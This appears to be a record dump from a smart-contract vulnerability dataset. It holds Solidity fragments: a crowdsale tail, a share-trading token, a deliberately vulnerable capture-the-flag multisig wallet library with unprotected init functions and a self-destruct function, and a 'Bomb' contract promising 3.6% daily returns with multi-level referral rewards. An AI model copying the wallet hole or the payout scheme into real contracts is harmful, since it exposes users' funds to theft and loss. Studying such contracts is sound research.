function unBan(address participant) public grantOwnerOrAdmin {
bannedParticipants[participant] = false;
}
function getExchangeRate(uint threshold) internal view returns (ExchangeRate) {
uint8 idx = exchangeRateIdx(threshold);
ExchangeRate storage rate = exchangeRates[idx];
require(rate.tokens > 0 && rate.price > 0, "Exchange rate not set");
return rate;
}
function getTreshold(uint salePosition) internal pure returns (uint) {
if (salePosition < THRESHOLD1) {
return THRESHOLD1;
}
if (salePosition < THRESHOLD2) {
return THRESHOLD2;
}
if (salePosition < THRESHOLD3) {
return THRESHOLD3;
}
if (salePosition < THRESHOLD4) {
return THRESHOLD4;
}
assert(false);
}
function exchangeRateIdx(uint threshold) internal pure returns (uint8) {
if (threshold == THRESHOLD1) {
return 0;
}
if (threshold == THRESHOLD2) {
return 1;
}
if (threshold == THRESHOLD3) {
return 2;
}
if (threshold == THRESHOLD4) {
return 3;
}
assert(false);
}
function updateRevertSuspendedPayment(bool value) public grantOwnerOrAdmin {
revertSuspendedPayment = value;
}
function returnDirectPayments(address participant, bool processed, bool suspended) internal {
if (processed && participants[participant].processedDirectWeiAmount > 0) {
participant.transfer(participants[participant].processedDirectWeiAmount);
participants[participant].processedDirectWeiAmount = 0;
}
if (suspended && participants[participant].suspendedDirectWeiAmount > 0) {
participant.transfer(participants[participant].suspendedDirectWeiAmount);
participants[participant].suspendedDirectWeiAmount = 0;
}
}
function returnExternalPayments(address participant, bool processed, bool suspended) internal {
if (processed && participants[participant].processedExternalWeiAmount > 0) {
participants[participant].processedExternalWeiAmount = 0;
}
if (suspended && participants[participant].suspendedExternalWeiAmount > 0) {
participants[participant].suspendedExternalWeiAmount = 0;
}
}
function setAdmin(address adminAddress) public grantOwner {
admin = adminAddress;
require(isAdminSet());
}
function transwerFunds(uint amount) public grantOwner {
require(RELEASE_THRESHOLD <= tokensSold, "There are not enaugh tokens sold");
uint transferAmount = amount;
uint balance = address(this).balance;
if (balance < amount) {
transferAmount = balance;
}
owner.transfer(transferAmount);
}
function isAdminSet() internal view returns(bool) {
return admin != address(0);
}
function isAdmin() internal view returns(bool) {
return isAdminSet() && msg.sender == admin;
}
function isCrowdsaleSuccessful() public view returns(bool) {
return state == CrowdsaleState.Ended && crowdsaleEndedSuccessfully;
}
modifier notEnded {
require(state != CrowdsaleState.Ended, "Crowdsale ended");
_;
}
modifier grantOwnerOrAdmin() {
require(isOwner() || isAdmin());
_;
}
}
| 187,578 | 11,342 |
fd6ca17f7ff4229ae9ebb3f9a18a3b04c7d5404c6cd745a4968d4ed376504a1f
| 18,612 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7817a31ea2f9789da18d12059d10283cab8e33e3.sol
| 4,714 | 18,057 |
pragma solidity ^0.4.19; // solhint-disable-line
library FifoLib {
uint constant HEAD = 0;
struct LinkedList {
mapping (uint => uint) list;
uint tail;
uint size;
}
function size(LinkedList storage self)
internal view returns (uint r) {
return self.size;
}
function next(LinkedList storage self, uint n)
internal view returns (uint) {
return self.list[n];
}
// insert n after prev
function insert(LinkedList storage self, uint prev, uint n) internal returns (uint) {
require(n != HEAD && self.list[n] == HEAD && n != self.tail);
self.list[n] = self.list[prev];
self.list[prev] = n;
self.size++;
if (self.tail == prev) {
self.tail = n;
}
return n;
}
// Remove node n preceded by prev
function remove(LinkedList storage self, uint prev, uint n) internal returns (uint) {
require(n != HEAD && self.list[prev] == n);
self.list[prev] = self.list[n];
delete self.list[n];
self.size--;
if (self.tail == n) {
self.tail = prev;
}
return n;
}
function pushTail(LinkedList storage self, uint n) internal returns (uint) {
return insert(self, self.tail, n);
}
function popHead(LinkedList storage self) internal returns (uint) {
require(self.size > 0);
return remove(self, HEAD, self.list[HEAD]);
}
}
contract CompanyToken {
event Founded(uint256 tokenId, string name, address owner, uint256 price);
event SharesSold(uint256 tokenId, uint256 shares, uint256 price, address prevOwner, address newOnwer, string name);
event Transfer(address from, address to, uint256 tokenId, uint256 shares);
string public constant NAME = "CryptoCompanies"; // solhint-disable-line
string public constant SYMBOL = "CompanyToken"; // solhint-disable-line
uint256 private constant HEAD = 0;
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 5000;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 0.5 ether;
uint256 public commissionPoints = 5;
// @dev max number of shares per company
uint256 private constant TOTAL_SHARES = 100;
// @dev companyIndex => (ownerAddress => numberOfShares)
mapping (uint256 => mapping (address => uint256)) public companyIndexToOwners;
struct Holding {
address owner;
uint256 shares;
}
// tokenId => holding fifo
mapping (uint256 => FifoLib.LinkedList) private fifo;
// tokenId => map(fifoIndex => holding)
mapping (uint256 => mapping (uint256 => Holding)) private fifoStorage;
mapping (uint256 => uint256) private fifoStorageKey;
// number of shares traded
// tokenId => circulatationCount
mapping (uint256 => uint256) private circulationCounters;
// @dev A mapping from CompanyIDs to the price of the token.
mapping (uint256 => uint256) private companyIndexToPrice;
// @dev Owner who has most shares
mapping (uint256 => address) private companyIndexToChairman;
// @dev Whether buying shares is allowed. if false, only whole purchase is allowed.
mapping (uint256 => bool) private shareTradingEnabled;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Company {
string name;
}
Company[] private companies;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function CompanyToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function createPromoCompany(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address companyOwner = _owner;
if (companyOwner == address(0)) {
companyOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createCompany(_name, companyOwner, _price);
}
function createContractCompany(string _name) public onlyCOO {
_createCompany(_name, address(this), startingPrice);
}
function setShareTradingEnabled(uint256 _tokenId, bool _enabled) public onlyCOO {
shareTradingEnabled[_tokenId] = _enabled;
}
function setCommissionPoints(uint256 _point) public onlyCOO {
require(_point >= 0 && _point <= 10);
commissionPoints = _point;
}
function getCompany(uint256 _tokenId) public view returns (string companyName,
bool isShareTradingEnabled,
uint256 price,
uint256 _nextPrice,
address chairman,
uint256 circulations) {
Company storage company = companies[_tokenId];
companyName = company.name;
isShareTradingEnabled = shareTradingEnabled[_tokenId];
price = companyIndexToPrice[_tokenId];
_nextPrice = nextPrice(_tokenId, price);
chairman = companyIndexToChairman[_tokenId];
circulations = circulationCounters[_tokenId];
}
function name() public pure returns (string) {
return NAME;
}
function shareHoldersOf(uint256 _tokenId) public view returns (address[] memory addrs, uint256[] memory shares) {
addrs = new address[](fifo[_tokenId].size);
shares = new uint256[](fifo[_tokenId].size);
uint256 fifoKey = FifoLib.next(fifo[_tokenId], HEAD);
uint256 i;
while (fifoKey != HEAD) {
addrs[i] = fifoStorage[_tokenId][fifoKey].owner;
shares[i] = fifoStorage[_tokenId][fifoKey].shares;
fifoKey = FifoLib.next(fifo[_tokenId], fifoKey);
i++;
}
return (addrs, shares);
}
function chairmanOf(uint256 _tokenId)
public
view
returns (address chairman)
{
chairman = companyIndexToChairman[_tokenId];
require(chairman != address(0));
}
function sharesOwned(address _owner, uint256 _tokenId) public view returns (uint256 shares) {
return companyIndexToOwners[_tokenId][_owner];
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return companyIndexToPrice[_tokenId];
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function totalCompanies() public view returns (uint256 total) {
return companies.length;
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For creating Company
function _createCompany(string _name, address _owner, uint256 _price) private {
require(_price % 100 == 0);
Company memory _company = Company({
name: _name
});
uint256 newCompanyId = companies.push(_company) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newCompanyId == uint256(uint32(newCompanyId)));
Founded(newCompanyId, _name, _owner, _price);
companyIndexToPrice[newCompanyId] = _price;
_transfer(address(0), _owner, newCompanyId, TOTAL_SHARES);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId, uint256 _shares) private view returns (bool) {
return companyIndexToOwners[_tokenId][claimant] >= _shares;
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _purchaseProcessFifoItem(uint256 _tokenId, Holding storage _holding, uint256 _sharesToFulfill)
private
returns (uint256 sharesFulfilled, uint256 payment) {
sharesFulfilled = Math.min(_holding.shares, _sharesToFulfill);
// underflow is not possible because decution is the minimun of the two
_holding.shares -= sharesFulfilled;
companyIndexToOwners[_tokenId][_holding.owner] = SafeMath.sub(companyIndexToOwners[_tokenId][_holding.owner], sharesFulfilled);
uint256 currentTierLeft = SafeMath.sub(TOTAL_SHARES, circulationCounters[_tokenId] % TOTAL_SHARES);
uint256 currentPriceShares = Math.min(currentTierLeft, sharesFulfilled);
payment = SafeMath.div(SafeMath.mul(companyIndexToPrice[_tokenId], currentPriceShares), TOTAL_SHARES);
SharesSold(_tokenId, currentPriceShares, companyIndexToPrice[_tokenId], _holding.owner, msg.sender, companies[_tokenId].name);
if (sharesFulfilled >= currentTierLeft) {
uint256 newPrice = nextPrice(_tokenId, companyIndexToPrice[_tokenId]);
companyIndexToPrice[_tokenId] = newPrice;
if (sharesFulfilled > currentTierLeft) {
uint256 newPriceShares = sharesFulfilled - currentTierLeft;
payment += SafeMath.div(SafeMath.mul(newPrice, newPriceShares), TOTAL_SHARES);
SharesSold(_tokenId, newPriceShares, newPrice, _holding.owner, msg.sender, companies[_tokenId].name);
}
}
circulationCounters[_tokenId] = SafeMath.add(circulationCounters[_tokenId], sharesFulfilled);
// no need to transfer if seller is the contract
if (_holding.owner != address(this)) {
_holding.owner.transfer(SafeMath.div(SafeMath.mul(payment, 100 - commissionPoints), 100));
}
Transfer(_holding.owner, msg.sender, _tokenId, sharesFulfilled);
}
function _purchaseLoopFifo(uint256 _tokenId, uint256 _sharesToFulfill)
private
returns (uint256 sharesFulfilled, uint256 totalPayment) {
uint256 prevFifoKey = HEAD;
uint256 fifoKey = FifoLib.next(fifo[_tokenId], HEAD);
while (fifoKey != HEAD) {
Holding storage holding = fifoStorage[_tokenId][fifoKey];
assert(holding.shares > 0);
if (holding.owner != msg.sender) {
uint256 itemSharesFulfilled;
uint256 itemPayment;
(itemSharesFulfilled, itemPayment) = _purchaseProcessFifoItem(_tokenId, holding, SafeMath.sub(_sharesToFulfill, sharesFulfilled));
sharesFulfilled += itemSharesFulfilled;
totalPayment += itemPayment;
if (holding.shares == 0) {
// delete the record from fifo
FifoLib.remove(fifo[_tokenId], prevFifoKey, fifoKey);
fifoKey = prevFifoKey;
}
}
if (sharesFulfilled == _sharesToFulfill) break;
prevFifoKey = fifoKey;
fifoKey = FifoLib.next(fifo[_tokenId], fifoKey);
}
}
function purchase(uint256 _tokenId, uint256 _shares) public payable {
require(_sharesValid(_tokenId, _shares));
require(companyIndexToOwners[_tokenId][msg.sender] + _shares <= TOTAL_SHARES);
uint256 estimatedPayment = estimatePurchasePayment(_tokenId, _shares);
require(msg.value >= estimatedPayment);
uint256 sharesFulfilled;
uint256 totalPayment;
(sharesFulfilled, totalPayment) = _purchaseLoopFifo(_tokenId, _shares);
assert(sharesFulfilled == _shares);
assert(totalPayment == estimatedPayment);
uint256 purchaseExess = SafeMath.sub(msg.value, totalPayment);
assert(purchaseExess >= 0);
if (purchaseExess > 0) {
msg.sender.transfer(purchaseExess);
}
fifoStorage[_tokenId][FifoLib.pushTail(fifo[_tokenId], _nextFifoStorageKey(_tokenId))] = Holding({owner: msg.sender, shares: _shares});
companyIndexToOwners[_tokenId][msg.sender] += _shares;
if (companyIndexToOwners[_tokenId][msg.sender] > companyIndexToOwners[_tokenId][companyIndexToChairman[_tokenId]]) {
companyIndexToChairman[_tokenId] = msg.sender;
}
}
function estimatePurchasePayment(uint256 _tokenId, uint256 _shares) public view returns (uint256) {
require(_shares <= TOTAL_SHARES);
uint256 currentPrice = companyIndexToPrice[_tokenId];
uint256 currentPriceShares = Math.min(_shares, TOTAL_SHARES - circulationCounters[_tokenId] % TOTAL_SHARES);
return SafeMath.add(SafeMath.div(SafeMath.mul(currentPrice, currentPriceShares), TOTAL_SHARES),
SafeMath.div(SafeMath.mul(nextPrice(_tokenId, currentPrice), _shares - currentPriceShares), TOTAL_SHARES));
}
function nextPrice(uint256 _tokenId, uint256 _currentPrice) public view returns (uint256) {
uint256 price;
if (_currentPrice < firstStepLimit) {
// first stage
price = SafeMath.div(SafeMath.mul(_currentPrice, 200), 100);
} else if (_currentPrice < secondStepLimit) {
// second stage
price = SafeMath.div(SafeMath.mul(_currentPrice, 120), 100);
} else {
// third stage
price = SafeMath.div(SafeMath.mul(_currentPrice, 115), 100);
}
return price - price % 100;
}
function transfer(address _to,
uint256 _tokenId,
uint256 _shares) public {
require(_addressNotNull(_to));
require(_sharesValid(_tokenId, _shares));
require(_owns(msg.sender, _tokenId, _shares));
_transfer(msg.sender, _to, _tokenId, _shares);
}
function transferFromContract(address _to,
uint256 _tokenId,
uint256 _shares) public onlyCOO {
address from = address(this);
require(_addressNotNull(_to));
require(_sharesValid(_tokenId, _shares));
require(_owns(from, _tokenId, _shares));
_transfer(from, _to, _tokenId, _shares);
}
function _transfer(address _from, address _to, uint256 _tokenId, uint256 _shares) private {
if (_from != address(0)) {
uint256 sharesToFulfill = _shares;
uint256 fifoKey = FifoLib.next(fifo[_tokenId], HEAD);
while (fifoKey != HEAD) {
Holding storage holding = fifoStorage[_tokenId][fifoKey];
assert(holding.shares > 0);
if (holding.owner == _from) {
uint256 fulfilled = Math.min(holding.shares, sharesToFulfill);
if (holding.shares == fulfilled) {
// if all shares are taken, just modify the owner address in place
holding.owner = _to;
} else {
// underflow is not possible because deduction is the minimun of the two
holding.shares -= fulfilled;
// insert a new holding record
fifoStorage[_tokenId][FifoLib.insert(fifo[_tokenId], fifoKey, _nextFifoStorageKey(_tokenId))] = Holding({owner: _to, shares: fulfilled});
fifoKey = FifoLib.next(fifo[_tokenId], fifoKey);
// now fifoKey points to the newly inserted one
}
// underflow is not possible because deduction is the minimun of the two
sharesToFulfill -= fulfilled;
}
if (sharesToFulfill == 0) break;
fifoKey = FifoLib.next(fifo[_tokenId], fifoKey);
}
require(sharesToFulfill == 0);
companyIndexToOwners[_tokenId][_from] -= _shares;
} else {
// genesis transfer
fifoStorage[_tokenId][FifoLib.pushTail(fifo[_tokenId], _nextFifoStorageKey(_tokenId))] = Holding({owner: _to, shares: _shares});
}
companyIndexToOwners[_tokenId][_to] += _shares;
if (companyIndexToOwners[_tokenId][_to] > companyIndexToOwners[_tokenId][companyIndexToChairman[_tokenId]]) {
companyIndexToChairman[_tokenId] = _to;
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId, _shares);
}
function _sharesValid(uint256 _tokenId, uint256 _shares) private view returns (bool) {
return (_shares > 0 && _shares <= TOTAL_SHARES) &&
(shareTradingEnabled[_tokenId] || _shares == TOTAL_SHARES);
}
function _nextFifoStorageKey(uint256 _tokenId) private returns (uint256) {
return ++fifoStorageKey[_tokenId];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) return a;
else return b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) return a;
else return b;
}
}
| 177,387 | 11,343 |
a7dd5569938ec9d630c78259810e7a526ece32938b8c69c14c97bbc160116bd6
| 9,676 |
.sol
|
Solidity
| false |
595977925
|
0xToshii/mr-steal-yo-crypto-ctf-foundry
|
5fc5c109d451b427bbe30dbe9cdf268536bf161f
|
src/safu-wallet/SafuWalletLibrary.sol
| 2,528 | 9,272 |
//SPDX-License-Identifier: MIT
pragma solidity 0.4.11;
/// @dev this is the logic contract
contract SafuWalletLibrary {
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
}
| 306,887 | 11,344 |
5d416c36ee050945793ac0c5f993d4a8d0c9c369284fd672f008175714097210
| 19,545 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUKRtYrrtcahHmQ1BPZ2tUoXALDoaWh9K1_Bomb_V10.sol
| 5,040 | 18,281 |
//SourceUnit: big_bang.sol
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount);
(bool success,) = recipient.call.value(amount)("");
require(success);
}
}
contract Managable {
address payable public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Rescueable is Managable {
function rescue(address to, ITRC20 token, uint amount) external onlyOwner {
require(to != address(0), "must not 0");
require(amount > 0, "must gt 0");
require(token.balanceOf(address(this)) >= amount);
token.transfer(to, amount);
}
}
library Objects {
struct Investor {
address payable addr;
uint amount;
uint lastWithdrawTime;
uint withdrawableAmount;
uint withdrawedAmount;
InviteInfo inviteInfo;
}
struct InviteInfo {
uint inviterID;
uint[15] inviteeCnt;
uint[15] inviteeAmount;
uint[15] reward;
}
struct Ticket {
uint uid;
uint amount;
uint result;
}
}
contract Bomb_V10 is Managable, Rescueable {
using SafeMath for uint;
uint public DEVELOPER_RATE = 100;
uint public DAILY_RATE = 36;
uint public DIVIDE_BASE = 1000;
uint public MinInvestAmount = 100 * 1e6;
uint userCnt_;
uint totalIn_;
uint totalReward_;
uint totalWithdraw_;
uint totalPlay_;
uint luckyCnt_;
uint leaderReward_;
uint fomoReward_;
address payable public dev_;
address payable public node_1 = address(0x4118DB71188F3F3B9C270317FC48E9601906BE4F18);
address payable public node_2= address(0x415557BD56294CC33E9A3DEE74C7760960DB4980C4);
address payable public node_3= address(0x4130F29B21933BC239A8D6C507E7D2FABFC3C93802);
address payable public node_4= address(0x41CC09327287BACF2714F3976772A95AC7CEFF374E);
uint ProfitCycle = 1 days;
mapping(address => uint) addr2uid_;
mapping(uint => Objects.Investor) uid2investor_;
mapping(uint => bool) leaderIDMap_;
mapping(uint => uint) public leaderIdxMap_;
uint public leaderCnt;
uint public leaderTotalAmount;
uint[100] public finalList_;
uint finalIdx_;
uint[15] public InviteRewardRate;
uint public LeaderAmount = 500000 * 1e6;
event Invest(address indexed investor, uint amount, uint ticketID);
event Withdraw(address indexed investor, uint amount);
event Lucky(address indexed user, uint amount, uint ticketID);
event LeaderReward(address indexed leaderAddr, uint amount, uint total);
event FomoReward(address indexed userAddr, uint amount);
mapping(uint => Objects.Ticket) ticketMap_;
uint ticketIdx_;
uint ticketOpenIdx_;
constructor() public {
dev_ = msg.sender;
newUser(msg.sender);
InviteRewardRate[0] = 200;
InviteRewardRate[1] = 100;
InviteRewardRate[2] = 50;
InviteRewardRate[3] = 10;
InviteRewardRate[4] = 10;
InviteRewardRate[5] = 10;
InviteRewardRate[6] = 10;
InviteRewardRate[7] = 10;
InviteRewardRate[8] = 10;
InviteRewardRate[9] = 10;
InviteRewardRate[10] = 10;
InviteRewardRate[11] = 10;
InviteRewardRate[12] = 10;
InviteRewardRate[13] = 10;
InviteRewardRate[14] = 10;
}
function() external payable {
//do nothing;
}
function setMinInvestAmount(uint val) public onlyOwner {
MinInvestAmount = val;
}
function setLeaderAmount(uint amount) public onlyOwner returns (bool) {
LeaderAmount = amount;
}
function setInviteRewardRate(uint idx, uint val) public onlyOwner {
require(idx < InviteRewardRate.length);
InviteRewardRate[idx] = val;
}
function setDev(address payable addr) public onlyOwner {
require(addr != address(0));
dev_ = addr;
}
function setProfitCycle(uint val) public onlyOwner {
require(val > 0, "invalid val");
ProfitCycle = val;
}
function getTotal() public view returns
(uint userCnt, uint totalIn, uint totalReward, uint totalWithdraw, uint totalPlay,
uint balance, uint withdrawableAmount, uint leaderPool, uint fomoPool) {
uint leftReward = leaderReward_.add(fomoReward_);
if (address(this).balance <= leftReward) {
leftReward = 0;
} else {
leftReward = address(this).balance.sub(leftReward);
}
return (userCnt_,
totalIn_,
totalReward_,
totalWithdraw_,
totalPlay_,
address(this).balance,
leftReward,
leaderReward_,
fomoReward_);
}
function newUser(address payable addr) internal returns (uint) {
uint uid = addr2uid_[addr];
if (uid > 0) {
return uid;
}
userCnt_ = userCnt_ + 1;
uid = userCnt_;
uid2investor_[uid].addr = addr;
addr2uid_[addr] = uid;
return uid;
}
function getUID(address addr) public view returns (uint) {
return addr2uid_[addr];
}
function getAddrByUID(uint uid) public view returns (address addr) {
require(uid > 0 && uid <= userCnt_, "invalid uid");
return uid2investor_[uid].addr;
}
